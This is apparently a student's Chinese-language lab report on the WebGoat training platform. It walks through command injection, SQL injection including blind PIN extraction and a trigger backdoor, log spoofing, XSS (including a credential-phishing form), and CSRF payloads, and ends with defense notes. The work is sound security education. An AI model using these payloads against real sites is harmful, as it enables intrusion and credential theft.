zoukankan      html  css  js  c++  java
  • 2019-2020 网络对抗技术 20175207 Exp9 Web安全基础

    目录


    实验步骤

    • 实验系统:Kali Linux
    • 浏览器:Chorme

    JDK1.8 & WebGoat

    • JDK1.8WebGoat需要Java SE8的支持
    1. jdk-8u251-linux-x64.tar.gz下载地址:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
    2. 配置参考:Kali-JDK1-8安装
    3. 确认安装完成:java -version
    • WebGoat
    • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
    1. webgoat-container-7.0.1-war-exec.jar下载地址:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
    2. 运行:java -jar webgoat-container-7.0.1-war-exec.jar
      注意:要在webgoat-container-7.0.1-war-exec.jar文件夹下
    3. 在浏览器中输入http:.//localhost:8080/WebGoat进入登陆界面,输入下方提示的用户名和密码登录

      4。 登陆成功

    SQL

    • SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的攻击

    Command Injection

    左侧功能栏中选中:Injection Flaws—>Command Injection

    • 原理:在正常的参数提交过程中添加恶意代码以执行某条指令
    • 操作:在操作页面,右键→检查→修改源代码
    1. 单击复选框按钮快速找到对应的代码
    2. 定位到下拉框
    3. 修改对应代码:AccessControlMatrix.helpAccessControlMatrix.help"& netstat -an & ipconfig"
    4. 点击View

    1. 点击View后可以看到网络端口使用情况和IP地址

    Numeric SQL Injection

    左侧功能栏中选中:Injection Flaws—>Numeric SQL Injection

    • 原理:在station 字段中注入特征字符,能组合成新的SQL 语句:SELECT * FROM weather_data WHERE station = [station]
    • 操作:在操作页面,右键→检查→修改源代码
    1. 单击复选框按钮快速找到对应的代码
    2. 定位到下拉框
    3. 修改对应代码:value="101"value="101 or 1=1"
    4. 点击Go

    Log Spoofing

    • 目的:用户名为admin的用户在日志中显示成功登录
    • 原理:利用回车0D%和换行符%0A让内容在日志中两行显示
    • 操作:
    1. User Name中填入:ln5207%0d%0aLogin Succeeded for username: admin
    2. Password中随便填
    3. 点击Login

    String SQL Injection

    • 原理:通过注入字符串绕过验证。
    • 操作:
    1. Enter your last name:中填入:'or 1=1--
      注意:'提前闭合""1=1是永真式,--注释掉后面内容
    2. 点击Go

    LAB:SQL Injection

    stage1:String SQL Injection

    • 目的:使用SQL注入绕过认证
    • 操作:在操作页面,右键→检查→修改源代码
    1. 单击复选框按钮快速找到对应的代码
    2. 定位到Password输入框
    3. 修改对应代码:maxlength="8"maxlength="18"
    4. 点击Login

    1. 登录人员的下拉框选择admin身份的用户,Password输入:hello' or '1' = '1
    2. 成功登录

    stage 3:Numeric SQL Injection

    • 原理:通过注入数字型数据,绕过认证
    • 目的:可以通过普通员工的账户,查看到其他用户信息。
    • 操作:
    1. 使用员工Larry,密码larry登录,点击ViewProfile查看用户信息

    1. 单击复选框按钮快速找到对应的代码
    2. 定位到下拉框
    3. 修改对应代码:value="101"value="101 or 1=1 order by salary desc"

    1. 点击ViewProfile,查询到的是薪资最高的人员信息

    Database Backdoors

    • 原理:创建数据库触发器
    • 操作:
    1. User ID输入:101,回车,查看信息

    1. User ID输入:101; update employee set salary=18000,回车,执行了两个语句,查看信息,Salary变为18000

    1. User ID输入:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='ln5207@besti.com'WHERE userid = NEW.userid,回车,查看信息

    • BEFORE/AFTER :指定了触发执行的时间,在事件之前或是之后。
    • FOR EACH ROW :表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
    • 之后当用户更新设置邮箱时,就会设置成攻击者的地址

    Blind Numeric SQL Injection

    • 原理:某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必需充分利用查询语句,构造子查询语。
    • 操作:
    1. Enter your Account number输入:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
      Invalid account number表示得到结果为无效,故而判断pin值是小于5000的。

    1. 使用二分法缩小范围不断查找,>2500(✗),>1250(✓),>1875(✓),>2187(✓)……
    2. 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
      Account number is valid表示得到结果有效,成功找到正确pin值

    字符串型盲注入与此类似,不再赘述

    XSS

    左侧功能栏中选中:Cross-Site Scriptig(XSS)→Pushing with XSS

    Pushing with XSS

    • 目的:创建一个form要求填写用户名和密码
    • 操作:
    1. Search中输入如下代码:
    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    
    1. 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

    Stored XSS Attacks

    • 原理:输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行
    • 操作:
    1. Title中输入任意内容
    2. Message中输入:
    3. 点击Submit

    1. 点击下方生成的链接,出现弹窗

    Reflected XSS Attacks

    • 原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
    • 操作:
    1. Enter your three digit access code:<script>alert("Warning!");</script>
    2. 点击Submit

    CSRF

    Cross Site Request Forgery(CSRF)

    • 目的:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求
    • 操作
    1. 查看右边栏Parametersscrmenu的值


    2. Title中随意输入
    3. Message中输入:<img src="http://localhost:8080/WebGoat/attack?Screen=313&menu=900&transferFunds=5000" width="1" height="1" />
    注意修改Screen和menu的值
    4. 点击Submit

    CSRF Prompt By-Pass

    • 操作:
    1. 查看右边栏Parametersscrmenu的值


    2. Title中随意输入
    3. Message中输入:

    <iframe src="attack?Screen=277&menu=900&transferFunds=5314"> </iframe>
    <iframe src="attack?Screen=277&menu=900&transferFunds=CONFIRM"> </iframe>
    
    1. 点击Submit生成以Title命名的链接,点击链接攻击成功

    问题回答

    1. SQL注入攻击原理,如何防御
    • 原理:
      • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
    • 防御:
      • 对用户输入进行校验/限制--可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
      • 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
      • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
      • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
      • 采取辅助软件或网站平台来检测
    1. XSS攻击的原理,如何防御
    • 原理:
      • 跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意javaScript代码,当用户浏览该页之时,嵌入其中Web里面的javaScript代码会被执行,从而达到恶意攻击用户的目的。
    • 防御:
      • HTML节点内容的防御--将用户输入的内容进行转义
      • HTML属性的防御--对空格,单引号,双引号进行转义
      • JavaScript的防御--对引号进行转义
      • 富文本的防御--通过黑名单和白名单过滤
      • 内容安全策略(Content Security Policy,简称CSP)
    1. CSRF攻击原理,如何防御
    • 原理:
      • (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
    • 防御:
      • 验证 HTTP Referer 字段
      • 在请求地址中添加 token 并验证
      • 在 HTTP 头中自定义属性并验证

    总结

    最后一次实验,虽然总体难度不大,但涉及到了许多内容。最大的收获是对SQL语句更加熟练,学习了WebGoat工具的使用,了解了更多的攻击和防御相关知识,提高了防范意识,也对自己设计的一些程序多了一种安全审视的角度。

  • 相关阅读:
    仿网易/QQ空间视频列表滚动连播炫酷效果
    UIScrollerView当前显示3张图
    iOS AVPlayer视频播放器
    iOS 购物车动画
    C++从零实现简单深度神经网络(基于OpenCV)
    Android 轻松实现仿淘宝地区选择
    微信小程序之下拉刷新,上拉更多列表实现
    iOS 指南针
    tableView 获取网络图片,并且设置为圆角(优化,fps)
    黑客技术 —— Linux 命令行
  • 原文地址:https://www.cnblogs.com/ln-0407/p/12995672.html
Copyright © 2011-2022 走看看